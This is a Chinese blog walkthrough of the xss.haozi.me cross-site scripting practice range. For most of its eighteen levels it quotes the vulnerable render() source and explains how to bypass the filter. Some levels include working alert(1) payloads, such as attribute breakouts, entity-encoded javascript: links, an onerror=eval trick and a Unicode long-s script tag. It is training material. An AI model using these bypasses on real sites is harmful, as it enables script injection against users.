xss.haozi.me靶机练习

目录

第零关:

第一关:

第二关:

第三关:

第四关:

第五关:

第六关:

第七关:

第八关:

第九关:

第十关:

第十一关:

第十二关:

第十三关:

第十四关:

第十五关:

第十六关:

第十七关:

第十八关:


开始我们的训练:

第零关:

首先进入之后有三个地方需要我们关注一下,input code是我们要传参的地方,server code里边是我们的源代码,html是执行代码的结果。

就像这样子哦,我们已经成功注入。

第一关:

源码里使用了textarea,首先想法就是给闭合一下,再执行我们的注入代码

第二关:

源代码:

function render (input) {
  return '<input type="name" value="' + input + '">'
}

一样的思路,我们先将value闭合,然后再注入

"><script>alert(1)</script>

第三关:

源代码分析:

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

 从服务器端得到stripbracketsRe的作用是将指定的符号替换,这里替换的是(),所以正常使用alert()是不可取的。只能换成其他的,比如``反引号

或者将()给编码一下

<a href="javascript:alert&#40;1&#41;">aaa</a>

第四关:

查看源代码:

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

仔细看这一关和上一关就是将`和()给都过滤掉了,那就换一个能代替()的来执行不就行了

<a href="javascript:alert&#40;1&#41;">aaa</a>

这个就可以哦

或者:

<svg><script>alert&#40;1&#41</script></svg>

或者:使用Unicode编码,

  1. window.onerror = eval; 这一行代码将 window.onerror 事件处理程序设置为 eval 函数。eval 函数用于执行传入的字符串作为 JavaScript 代码。
  2. throw '=alert\u00281\u0029' 这一行代码将一个字符串 '=alert\u00281\u0029' 抛出(throw)到 JavaScript 解释器。然后,因为 window.onerror 已经被设置为 eval 函数,所以这个字符串会被当做 JavaScript 代码进行执行。

<script>window.οnerrοr=eval;throw'=alert\u00281\u0029'</script> 

 或者:

<iframe srcdoc="<script>alert&#40;1&#41</script>">

第五关:

源代码

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

仔细看

第六关:

源代码:

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

这个正则将auto、以on开头的所有单词、>都被过滤,所以之前的都不能使用了,这里有个小bagel

 这是要有用户参与,

这个用户就没有参与

第七关:

源代码:

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

这个正则是将/、和>给过滤了,所以不能用>了,就找个单标签

第八关:

源代码:

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

这个是要写在<style>标签里,所以就想将标签给他闭合了,那不就好了,但是有个过滤,这里用一个空格给他绕过,最后这个空格会在html里边被注释掉。

第九关:

源代码:

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

这个提示要有一个网址,之后就是一个技巧......

第十关:

源代码:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

这个也是要地址。一样的道理。。

第十一关:

源代码:

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

这个就是将我们输入的都转成大写了

第十二关:

源代码:

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

这一关就是在上一关的基础上将script也给过滤了,那我们就换一个标签

第十三关:

源代码:

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

这一关的输出被注释掉了,那我们在注入的任何东西都不会起作用。但是当我们敲个回车键之后,之后输入的东西就其作用了,注释符在这里就不起作用了。

 注意看这里的括号颜色就能看出来,之后我们注释掉后边的括号,这个注释符只能在句首使用,放到句中就不起作用

第十四关:

源代码:

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

这个代码里边首先会将在首字母前加_下划线,所以我们的标签都不能执行,再就是这里将所有的字母都转成了大写。所以这里使用了一个特殊的字符,他这个字符会被转换成s这个字母。

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script> 

第十五关:

源代码:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}

第十六关:

源代码:

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

第十七关:

源代码:

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

这个看似过滤了一大堆,其实.replace(/"/g, '\\"')在这里没有起到因要的效果。

第十八关:

源代码:

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

这里是将/替换成\\注释符,我们利用换行就可以绕过。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/424379.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

百度SEO快排原理是什么?如何快速排名方法?

前言&#xff1a;我之前说过我不打算写这个快速排序。 首先&#xff0c;我从来没有在自己的网站上操作过所谓的快速排序。 其次&#xff0c;我不能像网上很多人写的那样透露百度快速排序的秘密&#xff08;说实话&#xff0c;你可以透露秘密&#xff09;。 方法是有了&#xff…

unity 数学 如何计算线和平面的交点

已知一个平面上的一点P0和法向量n&#xff0c;一条直线上的点L0和方向L,求该直线与该平面的交点P 如下图 首先我们要知道向量归一化点乘之后得到就是两个向量的夹角的余弦值&#xff0c;如果两个向量相互垂直则值是0&#xff0c;小于0则两个向量的夹角大于90度&#xff0c;大于…

Python3零基础教程之条件控制语句

大家好,我是千与编程,今天我们讲解Python3零基础教程中的If-else条件控制语句,这是Python3语言编程中非常重要的部分,是程序代码有逻辑性和决策性的根本。 尤其针对刷算法题的几乎每一道题都会使用,以下是本次教程内容的思维导图: 一、基本的条件控制语句 在Python 3中…

Jenkins的安装和helloworld Pipeline

文章目录 环境安装下载安装启动初始化 PipelineUISCM&#xff08;Source Control Management&#xff09;准备pipeline 参考 环境 RHEL 9.3Jenkins 2.44.0.1 安装 参考 https://www.jenkins.io/doc/book/installing/linux/#red-hat-centos 。 下载安装 [ding192 ~]$ sudo …

2024新算法:鹅算法优化VMD参数,五种适应度函数任意切换,最小包络熵、样本熵、信息熵、排列熵、排列熵/互信息熵...

本期采用鹅算法优化一下VMD参数。利用MATLAB官方自带的VMD函数。 替换为官方自带的VMD函数后&#xff0c;寻优速度真的大幅度提升&#xff01;数据量大的不妨都试试这个官方的VMD函数。当然要下载2020a以上的MATLAB才可以哦&#xff01; 同样以西储大学数据集为例&#xff0c;选…

vue 部署后修改配置文件(接口IP)

近期&#xff0c;有一个项目&#xff0c;运维在部署的时候&#xff0c;接口ip还没有确定&#xff0c;而且ip后面的路径一直有变动&#xff0c;导致我这里一天打包至少四五次才行&#xff0c;很麻烦&#xff0c;然后看了下有没有打包后修改配置文件修改接口ip的方法&#xff0c;…

【QT+QGIS跨平台编译】之六十四:【QGIS_CORE跨平台编译】—【错误处理:未定义类型QTemporaryDir - QgsSourceCache】

文章目录 一、未定义类型QTemporaryDir二、解决办法 一、未定义类型QTemporaryDir 报错&#xff1a; 二、解决办法 QgsSourceCache.h文件中 第25行修改为&#xff1a; #include <QTemporaryDir>

深入了解Kafka的文件存储原理

Kafka简介 Kafka最初由Linkedin公司开发的分布式、分区的、多副本的、多订阅者的消息系统。它提供了类似于JMS的特性&#xff0c;但是在设计实现上完全不同&#xff0c;此外它并不是JMS规范的实现。kafka对消息保存是根据Topic进行归类&#xff0c;发送消息者称为Producer&…

FreeRTOS学习笔记——FreeRTOS中断管理

什么是中断&#xff1f; 简介&#xff1a;让CPU打断正常运行的程序&#xff0c;转而去处理紧急的事件&#xff08;程序&#xff09;&#xff0c;就叫中断 例&#xff1a; 中断执行机制&#xff0c;可简单概括为三步&#xff1a; 中断优先级分组设置 ARM Cortex-M 使用了 8 位…

微信小程序触屏事件_上划下划事件

一、微信小程序触屏事件 bindtouchstart&#xff1a;手指触摸动作开始 bindtouchmove&#xff1a;手指触摸后移动 bindend&#xff1a;手指触摸动作结束 属性类型说明touchesArray触摸事件&#xff0c;当前停留在屏幕中的触摸点信息的数组 Touch 对象 属性类型说明identi…

基于MVS的三维重建算法学习笔记(一)— MVS三维重建概述与OpenMVS开源框架配置

基于MVS的三维重建算法学习笔记&#xff08;一&#xff09;— MVS三维重建概述与OpenMVS开源框架配置 声明1. MVS&#xff08;Multi-view stereo&#xff09;概述稀疏重建与稠密重建的区别稀疏重建——SFM&#xff08;Structure from Motion&#xff09;算法稠密重建——MVS&am…

家政行业的数字转型:开发智能化家政预约APP的挑战与机遇

为了适应这一变化&#xff0c;许多家政企业开始积极探索数字化转型&#xff0c;其中包括开发智能化预约APP。本文将探讨开发智能化预约APP所面临的挑战与机遇。 ​一、挑战&#xff1a; 1.用户体验设计&#xff1a; -开发智能化预约APP需要注重用户体验设计&#xff0c;包括…

Android使用OpenGL和FreeType绘制文字

Open GL主要是渲染图形的&#xff0c;有时候需要绘制文字&#xff0c;网上搜了一下&#xff0c;基本思路都是把文字转成位图&#xff0c;再使用Open GL纹理进行渲染。加载纹理在特定阶段才能成功&#xff08;在onSurfaceCreated中加载&#xff09;&#xff0c;这样就无法动态的…

动态规划(算法竞赛、蓝桥杯)--树形DP树形背包

1、B站视频链接&#xff1a;E18 树形DP 树形背包_哔哩哔哩_bilibili #include <bits/stdc.h> using namespace std; const int N110; int n,V,p,root; int v[N],w[N]; int h[N],to[N],ne[N],tot; //邻接表 int f[N][N];void add(int a,int b){to[tot]b;ne[tot]h[a];h[a…

Docusaurus框架——react+antd+echarts自定义mdx生成图表代码解释文档

文章目录 ⭐前言⭐Docusaurus框架渲染mdx内容&#x1f496; 创建一个mdx文件&#x1f496; 创建一个react jsx文件&#x1f496; mdx引入react的组件并渲染&#x1f496; mdx引入react的组件源代码内容 ⭐渲染一个echarts地图的代码解释文档&#x1f496; echarts 渲染地图&…

idea中springboot项目创建后追加依赖

springboot项目创建后追加依赖 前言1、安装插件editstarters设置->插件 2、进入pom.xml 页面 前言 在项目创建的时候选择好依赖创建项目&#xff0c;之后追加依赖不是很方便&#xff0c;介绍一个简单的使用方法&#xff0c;通过editstarters进行添加 1、安装插件editstart…

html基本标签

<h1></h1> <p></p> h是标签从h1~h6&#xff0c;没用h7,h8 p是段落 <a href"https://www.educoder.net">Educoder平台</a> href可以指定链接进行跳转 <img src"https://www.educoder.net/attachments/download/2078…

C语言---文件操作(1)

1.文件的打开和关闭 fopen有2个参数&#xff0c;第一个是文件的名字&#xff0c;第二个是打开的模式&#xff08;例如是读文件还是写文件&#xff09; (1)该文件夹下面没有data.txt文件&#xff0c;但是我执行了read操作&#xff0c;所以会显示这样的错误 &#xff08;2&#…

链表类型题目

文章目录 简介链表的常用技巧两数相加原理代码代码|| 两两交换链表中的节点代码原理 重排链表(重要)原理代码 合并 K 个升序链表代码递归代码 K 个一组翻转链表原理代码 简介 大家好,这里是jiantaoyab,这篇文章给大家带来的是链表相关的题目练习和解析,希望大家能相互讨论进步 …

强化学习_06_pytorch-PPO实践(Hopper-v4)

一、PPO优化 PPO的简介和实践可以看笔者之前的文章 强化学习_06_pytorch-PPO实践(Pendulum-v1) 针对之前的PPO做了主要以下优化&#xff1a; batch_normalize: 在mini_batch 函数中进行adv的normalize, 加速模型对adv的学习policyNet采用beta分布(0~1): 同时增加MaxMinScale …